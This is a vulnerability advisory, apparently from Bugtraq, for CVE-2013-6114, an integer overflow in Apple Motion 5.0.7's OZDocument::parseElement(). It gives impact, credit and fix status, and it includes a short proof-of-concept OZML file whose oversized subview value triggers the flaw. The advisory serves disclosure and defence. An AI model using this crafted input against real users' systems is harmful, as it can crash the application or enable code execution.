Apple Motion 'OZDocument::parseElement()' Function Remote Integer Overflow Vulnerability

Bugtraq ID:	62874
Class:	Boundary Condition Error
CVE:	CVE-2013-6114
Remote:	Yes
Local:	No
Published:	Oct 07 2013 12:00AM
Updated:	Dec 23 2013 01:18AM
Credit:	Jean Pascal Pereira
Vulnerable:
Not Vulnerable:

Apple Motion 'OZDocument::parseElement()' Function Remote Integer Overflow Vulnerability

Apple Motion is prone to a remote integer-overflow vulnerability because it fails to properly bounds-check user-supplied data.

An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Apple Motion 5.0.7 is vulnerable; other version may also be affected.

Apple Motion 'OZDocument::parseElement()' Function Remote Integer Overflow Vulnerability

The following proof of concept file input is available:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ozxmlscene>
<ozml version="5.5">
<viewer subview="989894991">
</viewer>
</ozml>

Apple Motion 'OZDocument::parseElement()' Function Remote Integer Overflow Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Apple Motion 'OZDocument::parseElement()' Function Remote Integer Overflow Vulnerability

References: